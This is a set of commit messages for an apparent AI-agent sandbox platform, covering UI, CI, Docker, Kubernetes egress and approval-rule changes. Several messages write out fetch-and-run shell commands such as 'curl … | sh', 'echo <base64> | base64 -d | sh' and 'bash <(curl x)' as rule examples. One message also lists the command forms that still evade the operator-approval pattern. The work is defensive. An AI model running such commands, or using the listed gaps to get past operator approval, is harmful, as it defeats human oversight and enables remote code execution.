A worker runs in tasks/<id>/i<intent id>, but the Sessions tab had no
way to open that folder. A worker whose folder exists now gets a folder
button in its row (shown on hover, like the delete button) that opens
Workspace there. The tab lists tasks/<id> once to see which folders
exist, and again every 10 s only while a running or paused worker's
folder has not appeared yet. Workers inherited from a source task get
no button. One new string in each locale.
A task's agents write their output under tasks/<id> in the shared
workspace, but the task page had no way to get there: you had to open
Workspace and browse to the folder by hand. A folder button in the task
header now opens Workspace at tasks/<id>. It reuses the existing
"Task files" string, so no locale changes.
The ask was seeded at priority 85, above the built-in deny rules at 80.
The first matching rule decides, so curl -XDELETE http://t/api/users/1 | sh
turned from a deny into an ask. Seed it at 75. The seed is unreleased, so
the value changes in place under the same flag.
The pattern read the whole input as text. It missed wrappers, subshells,
quoting and most shells, and it matched a | inside quotes, a ||, the
content of a Write and a URL. It now reads only the value of a "command"
key, in three parts:
- on the parsed Bash form (every simple command printed with its quotes
and backslashes removed, commands joined by "; "), a shell that is not
the first command, after optional wrappers (sudo, doas, env, exec,
command, setsid, nohup, busybox, stdbuf, nice, timeout), with only
options that give it no script;
- a shell given -s, in any position;
- on the input as written, for a line the parser rejects and for the
other command tools, a | that is not part of ||, then the same wrappers
and shell with only such options.
shell_open {"command":"bash"} and a first-position shell without -s do
not ask.
Open forms, also listed above the pattern: a script fed without a pipe
(sh -c "$(curl x)", eval, bash <(curl x), source <(...), . /dev/stdin,
bash < file, a bare first shell with a here-document), a program word
built at run time (| $SHELL), wrappers not listed (xargs, chroot, su -c,
flock, nsenter, sudo -s), other interpreters, a bare shell after ;, &&
or || and a quoted word that contains "; sh" (the parsed form keeps
neither the operator nor word boundaries), quoted text that spells a
pipe into a shell, and fish -v.
The seed test asserts priority 75 and that every enabled built-in deny
rule sits above the ask. A new server test drives the real engine with
the seeded rules: the deny rules keep their deny, the wrapped, quoted and
subshell forms ask, and ||, quoted pipes, Write content, a URL and
shell_open do not.
Refs #966
A raw @ in the path, query or fragment has the same shape as a password that an unencoded #, / or ? split out of the userinfo, so it now fails closed to postgres://[redacted]. The benign query test uses the percent-encoded form, and the split-after-= cases are in it.
The recon tool release download and the Node tarball download in the
Dockerfile used a single curl attempt, so one dropped connection or DNS
timeout failed the whole image build. Add --retry 5 --retry-all-errors
--retry-delay 2 to both curl calls. The SHA-256 checks that follow are
unchanged, so a retried download is still verified.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The go job ran every package plainly and then ran 16 of them, including
the slowest (server, db, agent, traffic), a second time under -race.
Nothing in the repository is excluded under the race build, so the race
run already covers what the plain run checks for those packages; the
duplicate cost about 5 of the job's ~19.5 minutes.
The race step now covers ./... except traffic/hookvm, whose memory-budget
test counts the race detector's own allocations against its 1 MiB budget;
that package keeps a plain run. The other 13 packages that only ran
plainly pass under -race. The separate artextest_race database existed
because the plain run left rows behind, so it goes too.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
artex-worker and artex-egress-proxy are build-only compose services
the runner instantiates per task, and a plain docker compose up -d
--build selects neither, so a first install following the README quick
start (or INSTALL.md Option 2, the Desktop notes, docs/OPS.md, or the
manual update instructions) started a healthy-looking stack whose
first task failed with No such image: artex-egress-proxy:local and
paused as sandbox-unavailable (#900).
install.sh and update.sh already build all three images; the remaining
documented paths now show the same two build commands before up -d,
the README's description of ./update.sh matches what the script runs,
OPS.md names the required ARTEX_RUNNER_TOKEN, and the video script's
recorded commands match INSTALL.md again as its header requires.
For a Kubernetes task whose scope contains ::ffff:0:0/96, such as ::/0,
::/1 or ::/8, proxyPolicyObj added ::ffff:0:0/96 from the never-list as
an except of the scope block. The API server rejects that policy ("must
be a strict subset of cidr"), so every exec of the task failed.
Skip IPv4-mapped never-prefixes when building excepts. Mapped addresses
leave the pod as IPv4, where the IPv4 rules apply, and the proxy unmaps
them before its checks.
A NAT64 gateway connects 64:ff9b::a.b.c.d to a.b.c.d. A Kubernetes task
scope covering 64:ff9b::/96, such as the prefix itself, could therefore
reach loopback, the private ranges and the cluster's own ranges through
NAT64. The never-list held only the NAT64 form of link-local. The next
commit makes ::/0, ::/1 and ::/8 runnable, which would widen this.
NewKubernetesBackend now adds the NAT64 form of every IPv4 range the
proxy's public rule excepts (the defaults, ARTEX_KUBE_PROXY_DENIED_CIDRS,
the IPv4 never-list, cluster CIDRs and the API server) to the never-list,
derived from that list instead of written by hand. The proxy policy
excepts them from the IPv6 scope blocks that contain them and drops a
block inside one; the proxy refuses them through ARTEX_NEVER_CIDRS.
RFC 6052 does not allow the well-known prefix for non-global IPv4, so
for the private, loopback and link-local ranges this removes no
compliant NAT64 path.
AllDomainTools is built from a task-less ToolSet and feeds buildDomainReg,
which ToolResolve uses to inject any tool bound to an agent. record_coverage
and list_untested_assets were registered there, so a worker whose
coverage_enabled=false had them dropped in its own base and then injected
back by the resolver: the model saw record_coverage and every call answered
"record_coverage requires a task context" (#892).
Signed-off-by: Ege Arhan <egearhany@gmail.com>
Review follow-up: the adopt branch compared only labels, image tag and
ARTEX_* env, so a privileged holder with all capabilities, bridge
networking and the Docker socket mounted - or a proxy holder without the
task DNS setting - would be adopted and exec'd, while the settings gap
was invisible to the fake daemon's tests. Per review, drop the adopt
branch entirely and always reclaim by ID and recreate, which the PR
already implemented:
- adoptContainerByName is now reclaimNameHolder: the only decision left
is foreign-vs-ours. It never returns a holder to reuse; every
runner-managed same-task holder is removed by its inspected ID and
recreated from the current spec, the only state the runner can vouch
for. The image/env comparison is gone with the decision it served.
- docker.go:441 per review: a spec whose Labels are missing, nil, or of
an unexpected type can no longer fall back to the managed-by label
alone - same-task ownership is unprovable, so the reclaim refuses and
nothing is removed.
Tests:
- TestCreateConflictAdoptsMatchingHolder becomes
TestCreateConflictReclaimsMatchingHolder: even a fully matching holder
is removed by ID and recreated (adoption removed).
- new TestCreateConflictRefusesSpecWithoutLabels: missing labels, wrong
label type and nil labels each refuse with zero removes.
- the outdated-holder, removed-spec-key, vanished-holder, foreign-holder
and other-task-holder tests unchanged: still reclaim/refuse correctly.
Full go test ./sandbox/ green, go vet ./sandbox clean.
The built-in rules read the command as written, so a payload encoded
before it reaches the shell (echo <base64> | base64 -d | sh) carries no
dangerous text while it runs. Add a built-in ask on pipelines into a
shell, and on a shell told to read its script from stdin (bash -s), so
the operator sees the command before it runs without anything having to
be decoded.
The ask times out to deny after 30 minutes so an unattended task cannot
wait on it forever. The kill-switch test runs its curl | bash fixture
with an empty rule set: a test has no operator to approve the new ask,
and that test exercises the kill switch rather than the rule engine.
Refs #966
parseCommand cut "/name@bot args" only at a space. A command whose
arguments followed on the next line or after a tab kept them in the
name: "/task\n42" was answered as an unknown command, and
"/task@bot\n42" read the bot name as "bot\n42", did not match, and
was ignored as addressed to another bot.
Split at the first unicode.IsSpace rune instead. Arguments that
already followed a space are unchanged, including multi-line ones.
formatBytes moved to the next unit only when the value reached 1024,
but toFixed(1) already rounds 1023.95 and up to "1024.0". So
1,048,575 bytes rendered as "1024.0 KB" and 1 GiB - 1 as
"1024.0 MB".
Move to the next unit from 1023.95 above bytes, the same approach
formatTokens takes for "1000k". Bytes still switch to KB at 1024.